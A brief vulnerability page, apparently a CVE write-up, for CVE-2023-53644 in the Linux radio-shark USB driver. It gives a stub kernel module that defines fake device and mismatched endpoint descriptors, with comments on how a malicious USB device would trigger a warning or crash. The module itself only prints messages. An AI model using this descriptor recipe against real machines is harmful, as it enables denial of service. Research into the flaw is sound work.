CVE-2023-53644 Linux内核radio-shark驱动端点检查缺失漏洞

// PoC for CVE-2023-53644 - Linux kernel radio-shark driver endpoint check missing // This PoC simulates triggering the vulnerability by creating a malicious USB device // with incorrect endpoint configuration that the radio-shark driver doesn't validate #include <linux/usb.h> #include <linux/module.h> // Simulated USB device descriptor for a fake radio-shark device // with mismatched endpoint types to trigger the vulnerability static struct usb_device_descriptor fake_dev_desc = { .bLength = USB_DT_DEVICE_SIZE, .bDescriptorType = USB_DT_DEVICE, .bcdUSB = cpu_to_le16(0x0200), .bDeviceClass = USB_CLASS_PER_INTERFACE, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = 0x077d, // Griffin Technology vendor ID (radio-shark) .idProduct = 0x627a, // radio-shark2 product ID .bcdDevice = cpu_to_le16(0x0001), .iManufacturer = 1, .iProduct = 2, .iSerialNumber = 0, .bNumConfigurations = 1, }; // Endpoint configuration with WRONG type (interrupt instead of bulk) // This mismatch triggers the WARNING: pipe 1 != type 3 static struct usb_endpoint_descriptor fake_ep_desc = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_OUT | 0x01, // EP1 OUT .bmAttributes = USB_ENDPOINT_XFER_INT, // INT type instead of BULK .wMaxPacketSize = cpu_to_le16(64), .bInterval = 1, }; /* * Trigger scenario: * 1. Create a USB device with the above descriptors * 2. When the radio-shark2 driver probes this device, it will try to * use the endpoint without checking its type * 3. shark_write_reg() calls usb_bulk_msg() with pipe type BULK * 4. usb_submit_urb() detects the mismatch and triggers WARNING * 5. This can lead to system instability or crash */ static int __init poc_radio_shark_init(void) { printk(KERN_INFO "CVE-2023-53644 PoC: Simulating radio-shark endpoint mismatch\n"); // The actual exploitation requires a physical USB device or VM with // USB emulation capabilities to trigger the vulnerability return 0; } static void __exit poc_radio_shark_exit(void) { printk(KERN_INFO "CVE-2023-53644 PoC: Unloaded\n"); } module_init(poc_radio_shark_init); module_exit(poc_radio_shark_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2023-53644 radio-shark endpoint check bypass");